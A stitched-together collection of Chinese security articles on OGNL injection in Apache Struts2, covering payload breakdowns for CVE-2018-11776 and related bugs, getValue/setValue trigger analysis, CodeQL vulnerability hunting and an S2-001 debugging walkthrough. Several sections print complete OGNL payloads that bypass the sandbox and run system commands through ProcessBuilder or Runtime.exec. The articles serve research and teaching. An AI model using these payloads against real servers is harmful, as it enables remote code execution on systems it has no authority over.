3.#_memberAccess?(#_memberAccess=#dm)——如果_memberAccess类已经存在,我们将其替换为dm变量中的DefaultMemberAccess  4.#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]——从上下文中获取容器,供后面使用  5.#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)——使用它来获取OgnlUtil类的实例(我们无法直接执行它,因为它已经列入黑名单——完整列表位于./src/core/src/main/resources/struts-default.xm l)   6.#ognlUtil.getExcludedPackageNames().clear()——清除排除在外的包名称   7.#ognlUtil.getExcludedClasses().clear() ——清除排除在外的类   8.#context.setMemberAccess(#dm) ——将DefaultMemberAccess设置为当前上下文   9.#cmd=’/usr/bin/touch /tmp/pwned’——定义要执行的命令   10.#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))——如果该应用程序在Windows上运行,则保存在变量中(跨平台漏洞利用代码)   11.#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})——指定如何根据操作系统来执行命令(cmd.exe或bash)   12.#p=new java.lang.ProcessBuilder(#cmds) ——使用ProcessBuilder类运行命令(参数)   13.#p.redirectErrorStream(true)——查看命令的错误输出可能也很有帮助   14.#process=#p.start() ——执行命令   15.#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())——获取响应的输出流以将数据发送回用户   16.@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros) ——获取已执行命令的输出   17.#ros.flush() ——进行刷新,以确保发送所有数据 利用CVE-2018-11776时,稍有不同之处:    1.#_=#attr[‘struts.valueStack’]——使用attr获取ValueStack    2.#context=#_.getContext() ——后面将用于获取上下文    3.#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]——获取容器    4.#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)——获取OgnlUtil类的引用    5.#ognlUtil.setExcludedClasses(‘’)——清除排除在外的类    6.#ognlUtil.setExcludedPackageNames(‘’) ——清除被排除在外的包的名称    7.#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS——将变量dm,其值为DefaultMemberAccess   8.#context.setMemberAccess(#dm)——设置DefaultMemberAccess,而非SecurityMemberAccess    9.#sl=@java.io.File@separator ——尚未使用    10.#p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) ——使用命令(xcalc)来声明ProcessBuilder    11.#p.start()——执行命令  结束语 尽管Apache Struts是一个广为人知且应用广泛的框架,但由于缺乏广泛的安全研究,它仍然很容易成为攻击目标。有关该主题的最有用的研究知识,请访问LGTM的博客。OGNL注入漏洞影响Apache Struts的多个版本,是研究如何滥用代码中现有功能来实现远程执行代码的一个很好的范例。进行攻击测试的时候,刚开始可能看起来举步维艰,但实际上并非如此,调试器总能为我们提供很大的帮助。精通Java语言对安全研究人员来说难度很大,但这最终将成为一个优势。在展开一项新研究的过程中,耐心是最有价值的一种品质。我们的忠告是,当事情变得困难时,不要忘了苦中作乐。并且,不要忘了向别人请求帮助——安全社区很友好,也乐于施以援手。原文地址:https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/#getting-started

    命令执行

    OGNL注入

    Struts

    Apache

    上一篇:

    Facebook早知剑桥分析事件 高管还......

    下一篇:

    18000美金——Steam客......

    浏览: 11051

    评论: 0

    最新评论

    评论正在提交,请稍等...

    昵称

    邮箱

    已有账号,登录评论

    提交评论

    有人回复邮件通知我

    相关推荐

    Tenda漏洞环境搭建与复现(CVE-2...

    【漏洞预警】 SHADOWSOCKS-LIBEV...

    西部数码MyCloud NAS命令执行漏...

    Vimeo:从SSRF到远程命令执行——5...

    Adobe ColdFusion最新文件上传漏...

    热门文章

    ×

    分享到微信朋友圈

    友情链接:FOFA FOEYE BCSEC BAIMAOHUI 安全客 i春秋

    指尖安全

    2021上海网络安全博览会

    nosec.org All Rights Reserved 京ICP备15042518号-2

    OGNL漏洞原理全解 - FreeBuf网络安全行业门户

    OGNL漏洞原理全解 - FreeBuf网络安全行业门户

    主站 分类

    漏洞

    工具

    极客

    Web安全

    系统安全

    网络安全

    无线安全

    设备/客户端安全

    数据安全

    安全管理

    企业安全

    工控安全

    特色

    头条

    人物志

    活动

    视频

    观点

    招聘

    报告

    资讯

    区块链安全

    标准与合规

    容器安全

    公开课

    报告 专辑 ···公开课···商城···

    用户服务

    ··· 行业服务

    政 府

    CNCERT

    CNNVD

    会员体系(甲方)

    会员体系(厂商)

    产品名录

    企业空间

    知识大陆 搜索 创作中心 登录注册 官方公众号企业安全新浪微博 FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。 FreeBuf+小程序把安全装进口袋 OGNL漏洞原理全解

    关注

    Web安全 OGNL漏洞原理全解

    2023-09-01 16:05:28

    0x00 前言本篇文章作者wdd,本文属i春秋原创奖励计划,未经许可禁止转载原文链接:https://bbs.ichunqiu.com/thread-63546-1-1.html说到OGNL,可能很多师傅都会想到struts2,在Struts2漏洞分析的道路上,可能在学习的过程中浅尝而止,也或许挨着分析了一遍,但是每次都是停到了setValue或者getValue这里,本篇将和大家分享,setValue和getValue中详细的内容,揭开Struts2最后一层纱,看完本篇后,希望可以对整个系列,包括并不限于Struts漏洞系列有一个更深的了解。知识浅薄,往各位大佬留情。0x01 漏洞触发方式关于OGNL的基础知识我们就不啰嗦了,网上一查一大堆,我们主要还是说通过什么方式可以触发,通常我们触发是通过两个方式触发的,一种是setvalue,还有一种是getvalue,所有的漏洞都是通过这两个方法来进行触发的,就类似于jndi漏洞的lookup一样。市面上的payload主要分为两种,一种是setvalue的payload,还有一种是getvalue的payload,在本篇中,将会详细讲述两种payload的区别,以及为什么payload要这样构造的原因。"@java.lang.Runtime@getRuntime().exec('calc')"("@java.lang.Runtime@getRuntime().exec('calc')")(aba)(aba)0x02 getValue我们先从相对基础以及简单的getValue开始讲起,首先是Demo   public static void main(String[] args) throws OgnlException {

            Map context = new HashMap();

            Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, "");

        }然后是完整的调用链:exec:347, Runtime (java.lang)

    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)

    invoke:62, NativeMethodAccessorImpl (sun.reflect)

    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)

    invoke:498, Method (java.lang.reflect)

    invokeMethod:491, OgnlRuntime (ognl)

    callAppropriateMethod:785, OgnlRuntime (ognl)

    callMethod:61, ObjectMethodAccessor (ognl)

    callMethod:819, OgnlRuntime (ognl)

    getValueBody:75, ASTMethod (ognl)

    evaluateGetValueBody:170, SimpleNode (ognl)

    getValue:210, SimpleNode (ognl)

    getValueBody:109, ASTChain (ognl)

    evaluateGetValueBody:170, SimpleNode (ognl)

    getValue:210, SimpleNode (ognl)

    getValue:333, Ognl (ognl)

    getValue:378, Ognl (ognl)

    getValue:357, Ognl (ognl)

    main:10, TheDemo我们来挨着进行分析,首先来看parseExpression(expression)用于将字符串表达式解析为OGNL对象,可以用于访问和操作对象属性、方法、集合。简单的说就是解析为树,这个对后面的解析有帮助   public static Object getValue(String expression, Map context, Object root, Class resultType) throws OgnlException {

            return getValue(parseExpression(expression), context, root, resultType);

        }然后进入getValue:210, SimpleNode (ognl),主要需要理解的是context.getTraceEvaluations()和this.evaluateGetValueBodypublic final Object getValue(OgnlContext context, Object source) throws OgnlException {

            if (context.getTraceEvaluations()) {

                            ...

                return result;

            } else {

                return this.evaluateGetValueBody(context, source);

            }

        }context.getTraceEvaluations()这个属性主要是判断是否启用了表达式求值的跟踪功能,默认情况下会启动,所以就会走到else中的this.evaluateGetValueBody。this.evaluateGetValueBody主要用于在SimpleNode类中计算表达式的值,并将其缓存为常量值,这里会进行多次递归调用。然后我们来详细的看一下evaluateGetValueBody方法   protected Object evaluateGetValueBody(OgnlContext context, Object source) throws OgnlException {

            context.setCurrentObject(source);

            context.setCurrentNode(this);

            if (!this.constantValueCalculated) {

                this.constantValueCalculated = true;

                this.hasConstantValue = this.isConstant(context);

                if (this.hasConstantValue) {

                    this.constantValue = this.getValueBody(context, source);

                }

            }

            return this.hasConstantValue ? this.constantValue : this.getValueBody(context, source);

        }在这个方法中this.constantValueCalculated需要看上下文来进行计算的常量值,然后最后通过三目运算符触发getValueBody方法接着进入比较关键的getValueBody,这个方法主要是对已经生成的OGNL树进行遍历,识别和处理并且在逻辑判断的时候,再次调用getvalue方法进行判断根据多态的特性,进入getValueBody:75, ASTMethod (ognl)方法对指定的内容进行反射调用,本次反射会拿到java.lang.Runtime@getRuntime()的对象然后再次进行递归遍历解析,就会去反射触发java.lang.Runtime@getRuntime()对象的exec方法,从而触发漏洞0x03 setValue很多师傅可能会见过setValue的payload,后面必须得缀上两个括号,但是为什么一定是两个,我们就来详细看一下。对比分析,首先我们先来看有两个括号的情况。demo:   public static void main(String[] args) throws OgnlException {

            Map context = new HashMap();

            Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'calc\')\")(a)(b)",context,"");

        }完整的调用链exec:347, Runtime (java.lang)

    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)

    invoke:62, NativeMethodAccessorImpl (sun.reflect)

    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)

    invoke:498, Method (java.lang.reflect)

    invokeMethod:491, OgnlRuntime (ognl)

    callAppropriateMethod:785, OgnlRuntime (ognl)

    callMethod:61, ObjectMethodAccessor (ognl)

    callMethod:819, OgnlRuntime (ognl)

    getValueBody:75, ASTMethod (ognl)

    evaluateGetValueBody:170, SimpleNode (ognl)

    getValue:210, SimpleNode (ognl)

    getValueBody:109, ASTChain (ognl)

    evaluateGetValueBody:170, SimpleNode (ognl)

    getValue:210, SimpleNode (ognl)

    getValueBody:58, ASTEval (ognl)

    evaluateGetValueBody:170, SimpleNode (ognl)

    getValue:210, SimpleNode (ognl)

    setValueBody:67, ASTEval (ognl)

    evaluateSetValueBody:177, SimpleNode (ognl)

    setValue:246, SimpleNode (ognl)

    setValue:476, Ognl (ognl)

    setValue:511, Ognl (ognl)

    setValue:531, Ognl (ognl)

    main:10, TheDemo跟进setValue方法,可以看到还是首先会对传入的内容进行解析和处理,形成对应的node整个过程和getValue很像,所以这也是我们先分析getValue的原因,重点还是放在setValueBody这里protected void setValueBody(OgnlContext context, Object target, Object value) throws OgnlException {

            Object expr = this.children[0].getValue(context, target);

            Object previousRoot = context.getRoot();

            target = this.children[1].getValue(context, target);

            Node node = expr instanceof Node ? (Node)expr : (Node)Ognl.parseExpression(expr.toString());

            try {

                context.setRoot(target);

                node.setValue(context, target, value);

            } finally {

                context.setRoot(previousRoot);

            }

        }需要注意的是this.children[0].getValue(context, target);这里会根据this.children[0]内容不同,跳转不同的getValue方法这里this.children[0]内容是一个未拆分成树状结构的ongl,所以跟定会进行二次解析,所以就有了后续的解析:在这里触发了getValue,就和上面的getValue是一样的了,这个就是两个括号触发的方式,现在我们来看一下一个括号会发生什么还是先来一个demo   public static void main(String[] args) throws OgnlException {

            Map context = new HashMap();

            Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'calc\')\")(a)",context,"");

        }这里直接来看分叉点,分叉点就在于setValueBody方法。在这里可以看到children已经不再需要二次解析了,所以会直接执行下一步,所以也就没有了后面再次解析触发的过程,这也就是为什么payload中为什么会出现两次括号的原因。所以经常看到的payload都是两个括号,至于括号里的内容,随意写就可以,这里面的内容没有太多的要求。0x04 End以上就是关于OGNL表达式漏洞的两种不同的触发方式的详解,有了这两种触发方式的基础,那么不管遇到什么漏洞,都可以代入进去。也算是彻底的搞懂了OGNL漏洞的原理。至少不管是谁问起来都不会慌张。遇到Struts2也能说个1,2,3出来。以上。 # 网络安全 # web安全

    本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022

    被以下专辑收录,发现更多精彩内容

    + 收入我的专辑

    + 加入我的收藏

    展开更多

    相关推荐

    关 注 0 文章数 0 关注者 本站由阿里云 提供计算与安全服务 用户服务 有奖投稿 提交漏洞 参与众测 商城 企业服务 安全咨询 产业全景图 企业SRC 安全众测 合作信息 斗象官网 广告投放 联系我们 友情链接 关于我们 关于我们 加入我们 微信公众号 新浪微博 战略伙伴 FreeBuf+小程序 扫码把安全装进口袋 斗象科技 FreeBuf 漏洞盒子 斗象智能安全平台 免责条款 协议条款

    Copyright © 2020 WWW.FREEBUF.COM All Rights Reserved

       沪ICP备13033796号

    |

    沪公安网备

    漏洞精粹 | 复盘利用 codeql '神器'挖掘 Ognl 漏洞 - 知乎

    漏洞精粹 | 复盘利用 codeql '神器'挖掘 Ognl 漏洞 - 知乎首发于威胁分析报告切换模式写文章登录/注册漏洞精粹 | 复盘利用 codeql '神器'挖掘 Ognl 漏洞微步在线​已认证账号1 Ognl漏洞简单回顾's2-032'、's2-033' 和 's2-057' 都是因为将恶意 的Ognl 的表达式直接存入了 'ActionMapping' 实例中,从而造成了 'Ognl' 命令注入。下面将介绍这三个漏洞中未经处理的参数:1.1 s2-032第139行代码为漏洞的起因,未对传入 'method' 变量进行过滤而直接存入了 'ActionMapping' 实例中。虽然在 'struts2' 整个参数的传递过程中使用了 'escapeHtml4' 会对参数进行处理,但是这种处理也是存在绕过方式,具体绕过就不在这里过多分析。1.2 s2-033's2-033' 是将 'actionMethod' 变量的值直接存进了 'ActionMapping' 实例中。1.3 s2-037 037未经过处理的参数如上图所示。恶意的 'Ognl' 表达式存入了 'ActionMapping' 实例中,在后续的执行流程中,'ActionProxy'实例取出'ActionMapping'中的值('getName()/getNameSpace()/getActionMethod()'),传给 'OgnlUtil' 实例执行 'Ognl' 表达式 ('compileAndExecute()') 。2 Ognl漏洞挖掘通用模式通过上文的分析,挖掘 'Ognl' 的相关漏洞可以分为两个步骤:1. 找到一条路径,使得恶意构造的数据能够被当作 'Ognl' 表达式被解析;2. 绕过 'Ognl' 沙箱(本文不会涉及 'Ognl' 的绕过,想要了解的可以查看参考链接)。而对于步骤1,有两种方法可以快速定位到可能的漏洞点:A:根据功能特性进行分析,比如 's2-032' 所涉及到的功能点为动态方法调用, 's2-033' 和 's2-037' 涉及到的功能点为 'REST' 插件,这两个功能都能直接使用'Ognl'表达式。B:根据数据流进行分析,本方法是上一种方法的抽象表示,如果存在某个功能使用了 Ognl 表达式,那么必然会调用获取 Ognl 表达式的函数和执行 Ognl 表达式的函数。第二种定位漏洞的方式刚好就是 codeql 数据流分析的使用场景,获取 Ognl 表达式的函数为 Source 点,而执行 Ognl 表达式的函数为 Sink 点。3 codeql实战'codeql' 是基于静态分析的,这也就是说 'codeql' 只从语义上分析了数据流的可达性,但至于是否可达并没有保证。同时,由于 'Java' 语言的某些运行时特性,也使得 'codeql' 在查找数据流的时候会存在遗漏的情况。笔者将解决这两类问题的办法称之为辅助截断数据流向和辅助建立数据流向,分别对应着 'DataFlow::Configuration' 类的 'isBarrier' 和 'isAdditionalFlowStep'。3.1 建立数据流向在建立数据流向的时候,包括但不仅限于如下的几类情况:1. 使用继承 'DataFlow::Configuration' 的类来做污点追踪的时候,使用的是全局数据流分析,全局数据流分析指的是函数和函数之间的数据流分析。但并不是所有的代码都只存在全局数据流分析,可能还涉及到本地数据流,所以此时需要额外的建立本地数据流分析。2. 在 'codeql' 进行污点标记的时候,只是标记了一定会被污染的情况,但有一些污点会因为函数调用的不确定性而具有不同的状态,例如下面的情况:public void foo(String taint) { this.field = taint;}public void bar() { String x = this.field; }在这种情况下,如果 'foo()' 在 'bar()' 之前被调用,那么变量 'x' 就被污染了,反之则没有被污染。除了以上两种情况外,还存在一些需要辅助建立数据流向的情况:1. 'Java' 的需要运行时才能知道的数据流向,例如 'Java' 中的消息传递,包括但不限于 'wait/notify' 和 'rpc',对于这类情况需要具体的情况具体分析。2. 在异常处理的时候,有些的Sink点只有在抛出异常的时候才会触发。3.2 截断数据流向强制建立数据流向的过程具有一定通用性的,但是对于截断数据流向的解决办法,则需要根据不同额代码做具体分析。接下来,以通过 'codeql' 查找出来的 'ScopeInterceptor.java'->'OgnlUtil.java' 这条路径为例进行分析,路径详情如下所示:数据流向为:'ScopeInterceptor.java'-->'ValueStackShadowMap.java'-->'OgnlValueStack.java' --> 'OgnlUtil.java'。虽然 'codeql' 查找到了这条能够从 'Source' 到 'Sink' 的路径,但如本章开头提到的, 'codeql' 只是从语义上分析了代码,并不保证其可达。所以,在每个跨类调用的地方都需要人为的进行分析。笔者将调用关系简单画成了下图:注:这个图表明在 'ScopeInterceptor' 类中的 'before' 方法会调用 'ValueStackShadowMap' 类中的方法;'ValueStackShadowMap' 类中的 'findValue' 方法会调用 'OgnlValueStack' 类中的方法;'OgnlValueStack' 类中的 'getValue' 方法会调用 'OgnlUtil' 类中的方法。下面将分别分析 'before()'、'findValue()' 和 'getValue()' ,来判断这个路径是否可达。1. 'before()'上图红框中的代码为 'codeql' 提示的调用 'ValueStackShadowMap' 类中方法的代码。因为 'ValueStackShadowMap()' 继承于 'Map' 接口,所以这里 'Map' 类型的变量 'app' 调用 'get' 方法时 'codeql' 认为可能会调用到 'ValueStackShadowMap' 对象。但在实际的 'Struts2' 框架中,'ValueStackShadowMap'类是'jasperreports'插件中使用的数据类型,不存在在此调用的可能性。综上分析,这条数据流是不存在的,所以 'isBarrier' 如下所示:override predicate isBarrier(DataFlow::Node node) { exists(Method m | (m.hasName("get") or m.hasName("containsKey")) and m.getDeclaringType().hasName("ValueStackShadowMap") and node.getEnclosingCallable() = m )}剩下的分析和 before 函数分析一致,这里就不再叙述了。4 总结早在2018年,Github 安全实验室就发布了如何通过 codeql 对已有的漏洞做 variant analysis 的文章。在今年的 Blackhat 上,360 Alpha Lab 也介绍了他们是如何将 codeql 利用到 chrome 漏洞挖掘上。虽然 codeql 是个功能十分强大的工具,但经过一段时间的使用,笔者认为如果使用者对漏洞原理和目标都有着比较深入的理解,那么'codeql' 将会是一款十分好用的神器。但是 'codeql' 本身的学习曲线还是比较陡峭的,首先它重新定义了一套查询语法,其次可能是因为它支持的语言过多,导致它的文档极其分散且简单,对新手十分不友好。最后,欢迎对 codeql 在漏洞挖掘场景使用感兴趣的朋友加入我们,一同探讨进步。编辑于 2021-12-30 10:14微步在线网络安全​赞同 1​​添加评论​分享​喜欢​收藏​申请转载​文章被以下专栏收录威胁分

    IDEA动态调试(一)——OGNL表达式注入(S2-001)-腾讯云开发者社区-腾讯云

    动态调试(一)——OGNL表达式注入(S2-001)-腾讯云开发者社区-腾讯云JaywayIDEA动态调试(一)——OGNL表达式注入(S2-001)关注作者腾讯云开发者社区文档建议反馈控制台首页学习活动专区工具TVP最新优惠活动文章/答案/技术大牛搜索搜索关闭发布登录/注册首页学习活动专区工具TVP最新优惠活动返回腾讯云官网Jayway首页学习活动专区工具TVP最新优惠活动返回腾讯云官网社区首页 >专栏 >IDEA动态调试(一)——OGNL表达式注入(S2-001)IDEA动态调试(一)——OGNL表达式注入(S2-001)Jayway关注发布于 2020-03-12 18:28:182.4K0发布于 2020-03-12 18:28:18举报文章被收录于专栏:卓文见识卓文见识一、环境搭建: 首先在IDEA中搭建调试环境,File-New-Java Enterprise,选择Web Application:然后构造项目,这里使用现成的Demo代码:依次新建web.xml:复制 S2-001 Example struts2 org.apache.struts2.dispatcher.FilterDispatcher struts2 /* index.jsp 复制前端代码,登录页面index.jsp和登录成功的welcome.jsp:复制<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %> S2-001

    S2-001 Demo

    link: https://cwiki.apache.org/confluence/display/WW/S2-001

    复制复制<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %> S2-001

    Hello

    复制src中新建com.demo.action包,后端处理代码LoginAction.java:复制package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport { private String username = null; private String password = null; public String getUsername() { return this.username; }

    public String getPassword() { return this.password; }

    public void setUsername(String username) { this.username = username; }

    public void setPassword(String password) { this.password = password; }

    public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; }}复制并在src目录下新建struts.xml:复制 welcome.jsp index.jsp 复制最后在web目录下新建lib目录,放进所需的四个调用jar包,struts包下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip并在File—Project Structure—Dependencies—“+” 号—JARs将jar包导入:最后将IDEA连接本地搭建好的Tomcat服务器,Run-EditConfigurations,配置tomcat安装地址及JRE:二、攻击效果复现: 点击Run之后,进入搭建的环境,系统是在password字段触发的,首先在这里输入%{2+3}:按代码逻辑,提交后若账号密码错误会将输入打印,发现password被解析:2+3的结果5:进一步进行攻击,输入payload,如获取web目录:%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}复制执行任意代码RCE:

    %{#a=(new java.lang.ProcessBuilder(newjava.lang.String[]{"calc"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=newjava.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=newchar[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(newjava.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}复制三、动态调试 这才到了本文的重点,了解OGNL注入的漏洞原理及触发过程以及动态调试的相关知识。S2-001的漏洞原理是在Struts2重新渲染jsp时,对ognl表达式进行了递归解析,导致了恶意的表达式被执行。我们以Debug方式运行环境: 在此之前需下一断点,系统在运行在这里的地方会停住,在点击Submit,http请求经过tomcat容器的处理之后会到达struts2,所以可以从这里开始调试,ParametersInterceptor类接受我们输入的参数值进行处理: 开启Debug后,输入payload后submit,程序在断点处停下,可观察此时堆栈的情况:下断点的方法有很多,和二进制逆向的方法类似,下断点的目的是帮助我们定位到关键处理。下断点之后的另一个工作就是调试,主要用的Step into(F7)——遇到方法会进入,和Step over(F8)——不跟进方法内部。这里也可以在自定义类LoginAction里下断点:从调用栈中可以看到,在DefaultActionInvocation类中反射调用了我们自定义的类LoginAction最终都会到达TextParseUtil类,在此处下断点,程序会进入几次,循环将变量转换为对象,所以expression不一样:读取jsp标签并通过UIBean解析,这里可以Step over直到解析到标签的值:经过XWorkConverter后expression的值变为%{password}:由于没有验证,输入%{2+3}被当做表达式进行解析,将解析结果取出继续在while中循环解析,由于结果2不满足表达式规则,将其返回为最终结果。 总结一下,漏洞的根因出现在XWork中ognl表达式的解析方法为递归解析。其他漏洞的动态调试方法也大概如此,后续总结。本文参与 腾讯云自媒体分享计划,分享自微信公众号。原始发表:2020-03-02,如有侵权请联系 cloudcommunity@tencent.com 删除struts网站网络安全安全jsp本文分享自 卓文见识 微信公众号,前往查看如有侵权,请联系 cloudcommunity@tencent.com 删除。本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!struts网站网络安全安全jsp评论登录后参与评论0 条评论热度最新登录 后参与评论推荐阅读LV.关注文章0获赞0相关产品与服务容器服务腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。产品介绍产品文档2024新春采购节领券社区专栏文章阅读清单互动问答技术沙龙技术视频团队主页腾讯云TI平台活动自媒体分享计划邀请作者入驻自荐上首页技术竞赛资源技术周刊社区标签开发者手册开发者实验室关于社区规范免责声明联系我们友情链接腾讯云开发者扫码关注腾讯云开发者领取腾讯云代金券热门产品域名注册云服务器区块链服务消息队列网络加速云数据库域名解析云存储视频直播热门推荐人脸识别腾讯会议企业云CDN加速视频通话图像分析MySQL 数据库SSL 证书语音识别更多推荐数据安全负载均衡短信文字识别云点播商标注册小程序开发网站监控数据迁移Copyright © 2013 - 2024 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有 深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569腾讯云计算(北京)有限责任公司 京ICP证150476号 |  京ICP备11018762号 | 京公网安备号11010802020287问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档Copyright © 2013 - 2024 Tencent Cloud.All Rights Reserved. 腾讯云 版权所有登录 后参与评论00